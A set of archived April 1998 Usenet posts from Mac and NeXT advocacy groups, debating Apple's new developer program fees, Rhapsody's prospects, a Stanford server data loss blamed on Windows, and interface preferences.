>> http://www.mercurynews.com/business/center/stanford09.htm
>>
>> Stanford.edu is the new PosterChild for Apple today in the wake of
a
>> disaster which cost Windows users dearly. Mac users and Unix
mainframes
>> emerged unscathed from a network "upgrade" which went arwy. Lost
in the
>> maintenance were Phd. dissertations, databases, files and research
notes
>> covering _years_ of work. Stanford Univ. School of Business,
>Windows-based
>> curriculum, has "tarnished" the institution's reputation and
"erased"
>> years of academic work. The disaster affects 10 - 15 faculty and
>doctoral
>> candidates directly posing a "serious blemish" for the School of
>Business.
>>
>I am an avid Macintosh fan, but I must "call a foul" on this one.
This is
>not an example of the Macintosh or Unix being better than Windows,
this is
>an example of incompetent technicians, and poor work habits by the
students
>and faculty.
>
>The loss did not occur simply because they were using Windows. It
>happened because the people installing the servers failed to do a
back-up,
>and because those who lost work failed to do personal back-ups. If
my
>degree was riding on those files, I'd have personal copies of
everything.
>
>Let's apply a little honesty here. The same thing would have
happened to
>either the Mac or Unix users if their servers were not backed up.
>
>This is a blemish for the school, no doubt, but not for Windows.
Trying
>to paint it as Window's fault leaves us open to being called
FUDsters, with
>just cause.
Word up on that, Edwin. I mean, if you never had to restore
data on Macs or Unix boxen, there wouldn't be backup software
for 'em. And if you didn't bother to make a full backup of your
data, you're not going to get all of your data back, no matter
what your platform is. Amazing concept, I know.
I actually cringed when reading how they overwrote their
current volume with the partial backup, without verifying
what data was on it. Yikes! And I know that the users
should keep their own backups of critical files, but can
you imagine how absolutely terrible those tech guys
are feeling right now?
FWIW, I keep my data volume mirrored daily on an
off-site computer, burning it onto CDs monthly and
keeping them in high-temperature-resistant safes.
Sure, maybe a tornado, nuclear bomb, or Godzilla
might take both sites out someday, but I feel
reasonably confident that I'm doing enough.
Z
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 9 Apr 1998 18:10:19 -0500
Organization: CE Software
Message-ID: <MPG.f97115b6eb9d82698989a@news.supernews.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <MPG.f95d7e4b8fb1622989890@news.supernews.com> <joe.ragosta-0804982109560001@elk62.dol.net> <MPG.f960500e190219d989895@news.supernews.com> <joe.ragosta-0804982250580001@wil62.dol.net> <MPG.f96ab2832ee6e1a9896d8@news.itg.ti.com>
In article <MPG.f96ab2832ee6e1a9896d8@news.itg.ti.com>, jmcn@msg.ti.com
says...
> In article Joe Ragosta, joe.ragosta@dol.net says...
> *snip*
> > I apologized to Donald in e-mail for the strength of my comments.
> >
> > But I don't see anything here that changes the essence.
>
> Face it Joe, Apple has burned lots of people and they resent Apple for
> it. And they are right. Not everyone can be as blindly fanatical as you
> are. I'm starting to see that maybe you don't really have much reliance
> or much invested in Apple. If you did, you wouldn't support them so
> freely. People who do rely on Apple get the shaft, a lot.
>
> --
> A world without the Mac is a step closer to utopia.
>
Before we all go jumping into bed together....
Apple can burn you, and yet Apple can bless you. Apple is neither
perfect or is it the spawn of Satan. If I didn't care any more, if I
didn't find this fascinating and love thoe machines, I wouldn't be here.
My objections to some actions of Apple do not mean I hate Apple. I'm
still hopining somehow things will be turned around.
A world without the Mac would be a much sadder world indeed.
Donald
From: Dave Helzer <rxgx30@email.sps.mot.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 1998 16:41:48 -0700
Organization: Motorola Semiconductor Products Sector (SCG -WSBU)
Message-ID: <352D5CB9.79EF61C9@email.sps.mot.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <MPG.f95d7e4b8fb1622989890@news.supernews.com> <joe.ragosta-0804982109560001@elk62.dol.net> <MPG.f960500e190219d989895@news.supernews.com> <joe.ragosta-0804982250580001@wil62.dol.net> <MPG.f96ab2832ee6e1a9896d8@news.itg.ti.com> <MPG.f97115b6eb9d82698989a@news.supernews.com>
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Everyone following this thread might be interested in the following
link:
http://www.maccentral.com/news/9804/09.devrespond.shtml
-Dave
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 8 Apr 1998 23:06:51 GMT
Organization: P & L Systems
Message-ID: <6ggvub$oop$5@ironhorse.plsys.co.uk>
References: <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154>
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Cc: english@primenet.com
Xcanpos: shelf.1/199804230601!0011414257
In <B1511019-15903@206.165.43.154> "Chicken Little" wrote:
> This harkens back to the worst of the bad ole days of Spindler, where you
> had to pay lots of money for every aspect of MacOS programming and
> developers started abandoning the MacOS platform.
>
Tummyrot.
> Trying to make developer *support* a profit center is an INSANE idea.
>
Apple acting as a charity subsidising people's hobbies is what's insane.
Nor should they be offering a program wide open to abuse by people signing up
as developers just to get a discount on hardware.
If you're a professional developer, or intent on producing shareware that's
of genuine utility (i,e, good enough that people will pay for it), $500
should not be a serious impediment, else your business plans are out of
kilter.
And if you're a hobbyist, the cost of the new program, which is hardly
*essential* to any *hobbyist*, is less than I gather most people spend on
beer in a year.
> Hopefully, either Jobs will change this, or the more rational stockholders
> will hear about it in time to vote against him because this one action, *BY
> ITSELF*, will destroy Apple.
>
The sky is falling indeed.
mmalc.
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 6 Apr 1998 20:54:54 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6gbfeu$kc8$21@anvil.BLaCKSMITH.com>
References: <6gaur3$fhe$7@ironhorse.plsys.co.uk> <B14E8634-BD713@206.165.43.126>
"Lawson English" <english@primenet.com> wrote:
[ ... ]
>> A recognised failing in NEXTSTEP, which OPENSTEP addresses. If you
>> compare NEXTSTEP and OPENSTEP applications you will find that the latter
>> are much more readily navigated using a mouse.
>
> I think that he was saying that he wanted to use the keyboard for most
> things.
>
> Which is kinda silly, IMHO.
>
> Keyboards aren't useful for a lot of tasks as compared to the mouse.
How 'bout we let individual users make up their own minds as to which user
interface mechanism they prefer?
NEXTSTEP was explicitly designed (I've quoted the docs about it) to be
mouse-centric, and it suffered from poor accessibility via the keyboard.
This was a genuine weakness of the system, and I'd imagine Rhapsody will
largely take advantage of the MacOS strengths in that area.
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody vs. VisualBasic
Date: 6 Apr 1998 20:58:39 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6gbflv$kc8$22@anvil.BLaCKSMITH.com>
References: <35215529.2E181E25@slip.net> <6g40q9$452$6@anvil.BLaCKSMITH.com> <slrn6ifdio.dbp.sal@panix3.panix.com> <6gak8b$9oq$2@ns3.vrx.net>
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <slrn6ifdio.dbp.sal@panix3.panix.com> Salvatore Denaro claimed:
>> Tools like VB and Delphi provide GUI building that tightly link the
>> "Form" to the code that controls it.
[ ... ]
> But no one decoupled the two completely as in EOF. Even the _concept_
> that you're talking to a database effectively disappears - the querys are
> handled from the form directly and change with it, the linkage to the
> database likewise. Logic is contained in "pure" objects that know nothing
> about databases, and nothing about forms. This is the way it should work,
> something that becomes obvious only once you see it.
Absolutely. It is essential to developing multi-tier architectures that your
business logic is seperated from database access. Putting raw SQL or
whatever into your business objects truly sucks from the perspective of
development and maintainability. That's why ORMF layers like EOF are so
useful....
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: 6 Apr 1998 20:50:06 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6gbf5u$kc8$20@anvil.BLaCKSMITH.com>
References: <6e6jl3$csu$3@ns3.vrx.net> <3523BFDF.529161F8@nstar.net> <6g3igl$452$3@anvil.BLaCKSMITH.com> <3525C014.1597@nstar.net> <6g5d2o$sao$1@crib.bevc.blacksburg.va.us> <35293623.24BC@nstar.net>
Michael Peck <mjpeck@nstar.net> wrote:
> Nathan Urban wrote:
>>> color-ls on a mono screen at least gives bold.
>> Do you know of _any_ commercial Unix vendor that has shipped a color 'ls'?
>> I think they mostly think of it as gratuitous (and ugly) eye-candy, not
>> suitable for serious use.
>
> Well, that's definitely the touchstone, then. When vendors call a
> feature 'gratuitous', that's usually a sign they've done their homework.
Nice job. You dodged that question like a champ.
[ .... ]
> That's really too bad. More stimulatory info = bad.
Sometimes, yeah.
Highly contrasting colors hamper visual perception and lead to perceptual
errors. There have been tons of studies in cognitive psychology about it--
try doing a reference search on "visual dissonance".
> I suppose it's one thing if you don't like having a television tuner or
> web channel on your background, like Active Desktop. Then I hear
> "aesthetics" and I start to agree. But this sort of trash-talk is
> perfect sour grapes. You say it's not useful to be able to change the
> colors on your directory listings to help indicate that "this is a
> directory, this is a regular file, this has execute permissions, this
> has..." whatever? Maybe you have really small directories.
>
> Or maybe you've just got a double-standard going. You don't seem to have
> an objection to TrueColor 64x64 icons in the browser...
You seem to have a real problem grasping that other people have preferences
that are different than yours, Mike. To put it mildly, the visual aesthetics
between the 48x48 icons used under NEXTSTEP's browser and the melange that
"color-ls /etc" presents are horses of entirely different hues.
>> 'ls -F' works well enough for me. I've usually only seen color 'ls'
>> installed on k00l hackerz' systems like Linux.
>
> Oh, that must be what I'm using. Didn't know I belonged to that cult,
> cool.
I'd imagine you're using HP/UX, which I bet didn't ship with a colorized ls.
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: rlove@antispam.neosoft.com (Robert B. Love )
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: 10 Apr 1998 01:19:35 GMT
Organization: NeoSoft, Inc.
Message-ID: <6gjs37$883$1@uuneo.neosoft.com>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <trev-0904981206050001@nas-sa-p5.usc.net>
<352d5190.286081406@news.sunflower.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: nhughes@sunflower.com
In <352d5190.286081406@news.sunflower.com> Nathan Hughes wrote:
> In a related view, I think its about time universities require at
> least two semesters of computer basics
Gee, the students also use kitchen equipment and stero/tv gear.
Why not require courses in the use of those? How about
auto maintence, since many of them drive. And how does
teaching the use of a tool enchance the academics of the school?
While you can recommend certain practices, in the end its "let
the computer user beware"
----------------------------------------------------------------
Bob Love MIME & NeXT Mail OK
rlove@neosoft.com PGP key available
----------------------------------------------------------------
From: j-jahnke@uchicago.edu (Jerome Jahnke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 1998 20:29:43 -0500
Organization: University of Chicago -- BSDIS/CRT
Message-ID: <j-jahnke-0904982029430001@192.168.1.4>
References: <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <steve-0804981442590001@oranoco.discoverysoft.com> <rmcassid-0804981509160001@dante.eng.uci.edu> <j-jahnke-0804982141280001@192.168.1.3> <6ghg9f$o3$1@news.digifix.com> <j-jahnke-0904980214320001@192.168.1.3> <352d0347.0@206.25.228.5>
In article <352d0347.0@206.25.228.5>, jkheit@xtdl.com wrote:
> j-jahnke@uchicago.edu (Jerome Jahnke) wrote:
> > In article <6ghg9f$o3$1@news.digifix.com>, sanguish@digifix.com
> > (Scott Anguish) wrote:
> > > On 04/08/98, Jerome Jahnke wrote: <snip>
> > > >Now this is a bunch of bull. Many of us were Associates for
> > > >one reason and one reason only, access to cheaper equipment.
> > > >Apple does not lose money by selling me my one machine a year
> > > >at a low price.
> > >
> > > Perhaps. But they do still provide you with all the other
> > > stuff, the CD's, the mailings etc.. that does cost Apple money.
>
> > It don't cost 500 bucks...
>
> I'd like to get this straight. Do the mailings for $200 include
> betas of Rhapsody or not?
Nope, you have to be a Apple Developer to get the early release seeds
(Rhapsody is included in this.) If you only get the tech mailings you get
at least one CD a month and some fliers which always seem to end in up in
my recycle basket, given they are without a doubt all Ra Ras Cis Boom Ba
types of stuff.
Jer,
From: FRIDBERG@PSFC.MIT.EDU
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 APR 1998 15:47:08 GMT
Organization: MIT Plasma Science and Fusion Center
Sender: fridberg@fredjr.pfc.mit.edu
Message-ID: <9APR98.15470897@fredjr.pfc.mit.edu>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <6gh8v1$oop$6@ironhorse.plsys.co.uk>
In a previous article, mmalcolm crawford <malcolm@plsys.co.uk> wrote:
->In <01bc4540$d4a15e60$3af0bfa8@davidsul> "macghod" wrote:
->>
->> > The lowest paid developer status is $500 instead of $250. If you really
->> > need to get the beta OS versions, your cost went up by $250. But everyone
->> > else seems to be better off.
->>
->> More Ragosta FUD. "Everyone else seems to be better off". Who is better
->> off?
->>
->Apple's customers who no longer have to subsidise hobbyist developers.
->
->Best wishes,
->
->mmalc.
Do you mean to tell us that you have no freeware or shareware applications
on your hard drive that you got for next to nothing? The ones that you'd
probbly had to pay a lots of money for (and they could be lot worse as well)
without subsidizing them? I think that hobbyist development on Mac plays
very big part of Mac. We couldn't have survived without them.
Mike.
From: russotto@wanda.pond.com (Matthew T. Russotto)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 10 Apr 1998 01:53:20 GMT
Organization: Ghotinet
Message-ID: <6gju2g$82k@netaxs.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <joe.ragosta-0804982250580001@wil62.dol.net> <ericb-0904981631110001@132.236.171.104> <6gje5e$q8g$1@news.digifix.com>
In article <6gje5e$q8g$1@news.digifix.com>,
Scott Anguish <sanguish@digifix.com> wrote:
} There has been a number of posts to Rhapsody-talk, and the
}Lyris rhapsody list by developers who don't understand what all the
}whining is about.
That would be the "We got ours, to hell with the rest of you" syndrome.
--
Matthew T. Russotto russotto@pond.com
"Extremism in defense of liberty is no vice, and moderation in pursuit
of justice is no virtue."
From: spagiola@usa.net
Newsgroups: comp.sys.next.advocacy
Subject: Re: accuracy of Stepwise Krishna article
Date: Mon, 06 Apr 1998 17:05:13 -0600
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6gbjit$ctp$1@nnrp1.dejanews.com>
References: <6eoo28$c1p$1@crib.bevc.blacksburg.va.us> <6eq7kp$pl2@mochi.lava.net> <slrn6h2ggl.gdm.marko@ns1.vrx.net> <6erm0k$p1f$2@ironhorse.plsys.co.uk> <6erpdg$96o$1@news.xmission.com> <6escen$to2$1@nnrp1.dejanews.com> <6etffv$g96$9@ns3.vrx.net> <6ev46i$qkn$1@nnrp1.dejanews.com> <6eulns$fh3$1@ns3.vrx.net> <quinlan-2003982045060001@pm22s6.intergate.bc.ca> <6f5q41$p1f$9@ironhorse.plsys.co.uk> <6f6ete$mhp$1@nnrp1.dejanews.com> <6f71cv$p1f$12@ironhorse.plsys.co.uk> <6fc2nm$46d$1@nnrp1.dejanews.com> <6fe4ml$3nm$3@anvil.BLaCKSMITH.com> <6fel82$c08$1@nnrp1.dejanews.com> <rmcassid-2603982220490001@dialin9018.slip.uci.edu> <6gb2hv$kc8$3@anvil.BLaCKSMITH.com>
To: cswiger@BLaCKSMITH.com
Xcanpos: shelf.1/199804210201!0024255911
cswiger@BLaCKSMITH.com wrote:
> > I'm curious as well. Chuck, you seemed a bit unsure about Apple's
> > treatment of Rhapsody and it's direction some time back. Has that changed?
>
> I was-- but yes, it has changed.
>
> > I don't think you were ever really pessimistic about Rhap. Was it just a
> > funk you were in, like we all go through from time to time?
>
> At the time, I was remembering how NeXT had positioned and marketed their
> technologies, or...IMHO..."mispositioned and mismarketed".
> I was growing increasingly concerned that Apple would position the
> Yellow Box technologies in a way that would make it difficult for this
> technology to be usable for mass-market commercial, shareware, and
> freeware software.
Well, I'm glad to hear that you now think otherwise. I shared your pessimism,
for many of the same reasons (8 years of NeXTSTEP experience gives one plenty
of confidence in some people's technical ability but very little in their
marketing/management ability). I've yet to hear personally anything that would
make me think otherwise, partly because of Apple's current "we could tell you
but then we'd have to kill you" policy, but it certainly bodes well if people
more in the know like you now feel more comfortable. I'd still like a clear
statement from Apple as to their intentions, though.
Stefano Pagiola
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.next.advocacy
Subject: cost of development tools
Date: 6 Apr 1998 22:13:29 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd6197$3b09b5d0$1e2168cf@test1>
Xcanpos: shelf.1/199804210201!0024373095
I just had a little reminder about the cost of doing software
development and why I shouldn't complain about Apple/NeXT's prices on
their development tools.
I went to run the debugger on a core file from my DEC UNIX today, and
I discovered the C++ compiler (which I paid for) doesn't come with a
debugger!!
I just spent $1,350 for a license to their command line debugger
called ladebug (like gdb or dbx) just so I can look at the core file.
That is going to be one expensive little bug fix.
Todd
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 6 Apr 1998 15:18:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B14EA3D0-12CC78@206.165.43.126>
References: <6gbe58$86b$1@news.digifix.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Xcanpos: shelf.1/199804210201!0025136795
Scott Anguish <sanguish@digifix.com> said:
> >Now THAT certainly contributed to the conversation...
>
>
> At least it was ON TARGET as far as Rhapsody was concerned.
>
> GX is dead.
I refer you to Mark Twain...
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: float@interport.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Date: 6 Apr 1998 18:20:11 -0400
Organization: Interport Communications Corp.
Message-ID: <6gbker$517$1@interport.net>
References: <6gaur3$fhe$7@ironhorse.plsys.co.uk> <B14E8634-BD713@206.165.43.126>
Xcanpos: shelf.1/199804210201!0025273513
Lawson English (english@primenet.com) wrote:
: I think that he was saying that he wanted to use the keyboard for most
: things.
That is indeed what I meant.
: Which is kinda silly, IMHO.
Well pardon me. I find that I save a lot of time if I don't have to
switch between the keyboard and the mouse very often. Since I like to
type with two hands, I am very fond of hot keys. Pretty much the only
thing I like about Windows is the keyboard navigability.
: Keyboards aren't useful for a lot of tasks as compared to the mouse.
My experience is different.
--
Ben
<Just Another System Administrator>
From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Subject: Re: When will Unix be free?
Date: Tue, 07 Apr 1998 13:01:04 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-0704981301040001@130.130.117.53>
References: <xohen0roj2o.fsf_-_@dux.raex.com> <6fr8s6$59j$1@interport.net> <ehg4da6wa.fsf_-_@gate.lustig.com> <6B6FFF7C80027804.D8A9C54CA33BADC9.4EB0E9D843E54B64@library-proxy.airnews.net> <6fut5f$115$1@jetsam.uits.indiana.edu> <352304A2.2427@i2020.net> <6g0ft9$k6c$5@anvil.BLaCKSMITH.com> <Eqynrq.7GJ@rsxtech.atww.org> <6gcfsq$nad$2@pith.uoregon.edu>
Mail-Copies-To: never
r9;SSdvI;]1VVf
In article <6gcfsq$nad$2@pith.uoregon.edu>, Wesley Horner
<wesman@azrael.uoregon.edu> wrote:
:Raymond N Shwake <rshwake@rsxtech.atww.org> wrote:
:
:> UNIX is not just a TradeMark (TM), but a *registered* trademark (R).
:> Perhaps you call a Ricoh copier a Xerox (R) machine, or your PUFFS tissue a
:> Kleenex (R), but in each case you're violating legal rights. Yes, we all
:> do it, but a "class reference" has no validity where trademark law is
:> concerned.
:
:Perhaps it has become common enough that the trademark is meaningless. Remeber
:the zipper? It was one a trademarked product but lost the trademark when it
:bcame a household name. Mmmmm is unix a house hold name? A number of people
:think a unix is somthing else :)
It gets sticky when discussing trademarks in an international market. IIRC
Aspirin is still a trademark of Bayer AG in dozens of countries. I believe
it was approved as a trademark in russia within the last 3 or 4 years in
fact. It would still be trademarked in the US if it weren't for that
little misunderstanding between Germany and the US a few decades after
Bayer came out with the acetylated version of the extract from the spirea
plant.
Geordie Korper geordie@chapman.com
*********************************************************************
* The text above should in no way be construed to represent the *
* opinions of my employer, even if specifically stated to do so. *
*********************************************************************
From: FRIDBERG@PSFC.MIT.EDU
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 APR 1998 16:10:51 GMT
Organization: MIT Plasma Science and Fusion Center
Sender: fridberg@fredjr.pfc.mit.edu
Message-ID: <9APR98.16105101@fredjr.pfc.mit.edu>
References: <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <6ggvub$oop$5@ironhorse.plsys.co.uk> <352CA831.D4878417@ArtQuest.fr>
In a previous article, Hubert HOLIN <hh@ArtQuest.fr> wrote:
->
->
->mmalcolm crawford wrote:
->
->[SNIP]
->
->> If you're a professional developer, or intent on producing shareware that's
->> of genuine utility (i,e, good enough that people will pay for it), $500
->> should not be a serious impediment, else your business plans are out of
->> kilter.
->
->[SNIP]
->
-> By that measure, freeware is junk, right? I guess TeX, GNU and their ilk are
->unknown to you...
->
-> Hubert Holin
-> holin@mathp7.jussieu.fr
->
->
And let's not forget such things as NewsWatcher (which probably half of people
who read this NG are using, or NSCA Telnet (which I am using) or bunch of other
internet software which made Mac so attractive to use for Internet access
and allowed us to have pretty high market share on internet. Mister MMalcolm
Crawford prbably never heard of such programs as Disinfectant of Internet
Config either. Or maybe he just afraid that all those freeware applications
going to drive him out of business?
Mike.
From: slick@tools.ecn.purdue.edu (Brian S Slick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: 7 Apr 1998 18:54:02 GMT
Organization: Purdue University, W. Lafayette, IN
Message-ID: <6gdsoa$hek@mozo.cc.purdue.edu>
References: <rmcassid-3103981323260001@dante.eng.uci.edu> <B146FE35-2EBF2@206.165.43.7> <6gc1g6$irv$0@207.212.27.88>
In article <6gc1g6$irv$0@207.212.27.88>, Charlie Root <root@127.0.0.1> wrote:
>
>You are a raving lunatic, sir. The FUD you spread to satisfy your
>own personal vendetta against Apple is amusing. I pity you and your
>miserable existance.. all bark and no bite.
>
>As a Newton Message Pad 2100 owner and one who has never experienced
>this bug (which you have misidentified), your information is severely
>lacking facts and credibility. However, that's nothing new here.
>
>>Apparently it is a BAD bug.
>
>"Apparently".
It certainly bugs me. I usually get it when MoreInfo auto-opens when I turn
the thing on. (Well, I don't mean that I usually get the bug....I've only
seen it a few times. Pretty much the only times I see it are when MoreInfo
is opening. Have seen it elsewhere, though.) MoreInfo is then rendered
useless, and I must reset.
If a class action lawsuit would get this fixed, then I'm all for it.
--
-Brian Slick
slick@ecn.purdue.edu
Winner: 1998 SDRC Calendar Contest
http://www.sdrc.com/partners/university/contest/1998/
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Software ugliness
Date: 7 Apr 1998 19:07:32 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6gdthk$eos@newsb.netnews.att.com>
Originator: gupta@tlctest
May Oracle never come within a light-year of acquiring Apple !
The Oracle DBMS may be infinitely more powerful than Informix,
( I do not know, just having come to Oracle from Informix)
but it is also infinitely uglier. There is nothing simple about
it. Curse "Foundation Architectures" and curse the morons who
ran Informix into the ground.
In my student days I had the misfortune to encounter JCL on
an IBM 370. The same sick feeling in the stomach I have today.
***
-arun gupta
From: Wesley Horner <wesman@azrael.uoregon.edu>
Newsgroups: comp.sys.next.advocacy
Subject: poetic justice (was:Mac+Unix .vs. Windows-based PC's)
Date: 10 Apr 1998 03:33:13 GMT
Organization: University of Oregon, Eugene
Message-ID: <6gk3tp$m7s$2@pith.uoregon.edu>
No matter who or what is at fault in this case I think it may be a symptom of a
bigger problem. My theory is that sysadmins who have been doing unix for years
detest nt and treat it as such. I can think of some cases where the MS product
is left to fend for itself while the admin enjoys maintaining the more
appealing os. In other words treat it like crap and maybe it will go away.
wes
--
~~~~wesman@gladstone.uoregon.edu~~~~~~~~~~NeXTMail OK!~~~~~~~~~~~~~~~~
Vax a vicious creature known to eat 110AC and quotes through its
*DCL*. Vax are usually found in groups of Vaxen called clusters where
they lay in wait to ravage thier prey known as users.
From: jayfar@netaxs.com (Jayfar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple's Announcement Misleading. WAS :Apple developer program
Date: Thu, 09 Apr 1998 23:41:18 -0400
Organization: Jayfar's Original Virtual Macintosh
Message-ID: <jayfar-0904982341190001@downtown1-6.slip.netaxs.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <MPG.f95d7e4b8fb1622989890@news.supernews.com> <joe.ragosta-0804982109560001@elk62.dol.net> <MPG.f960500e190219d989895@news.supernews.com> <joe.ragosta-0804982250580001@wil62.dol.net> <gmgraves-0904980952020001@sf-pm5-27-91.dialup.slip.net> <joe.ragosta-0904981956410001@elk90.dol.net>
Mail-Copies-To: jayfar@netaxs.com
In article <joe.ragosta-0904981956410001@elk90.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
| I guess the question to answer to determine the accuracy of this is: "Was
| it previously possible to download the SDK's for free?" If it was not, the
| new program _would_ be an improvement on the low end since you could get
| started without spending a penny. If it was always possible to download
| the SDK's for free, it's hard to understand how the new program could be
| an improvement.
The SDKs have been downloadable for at least the last few years.
Cheers,
Jayfar
--
Jay Farrell Jayfar's Original Virtual Macintosh
jayfar@netaxs.com * Your Favorite Mac Site * Now Updated Daily *
Philadelphia, USA <URL:http://www.netaxs.com/~jayfar/live.desk.html>
Jayfar's APPLE DOOMSDAY CLOCK <URL:http://www.netaxs.com/~jayfar/>
From: jayfar@netaxs.com (Jayfar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 1998 23:45:44 -0400
Organization: Jayfar's Original Virtual Macintosh
Message-ID: <jayfar-0904982345460001@downtown1-6.slip.netaxs.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <MPG.f95d7e4b8fb1622989890@news.supernews.com> <joe.ragosta-0804982109560001@elk62.dol.net> <MPG.f960500e190219d989895@news.supernews.com> <joe.ragosta-0804982250580001@wil62.dol.net> <MPG.f96ab2832ee6e1a9896d8@news.itg.ti.com> <MPG.f97115b6eb9d82698989a@news.supernews.com> <352D5CB9.79EF61C9@email.sps.mot.com>
Mail-Copies-To: jayfar@netaxs.com
In article <352D5CB9.79EF61C9@email.sps.mot.com>, Dave Helzer
<rxgx30@email.sps.mot.com> wrote:
| Everyone following this thread might be interested in the following
| link:
|
| http://www.maccentral.com/news/9804/09.devrespond.shtml
|
| -Dave
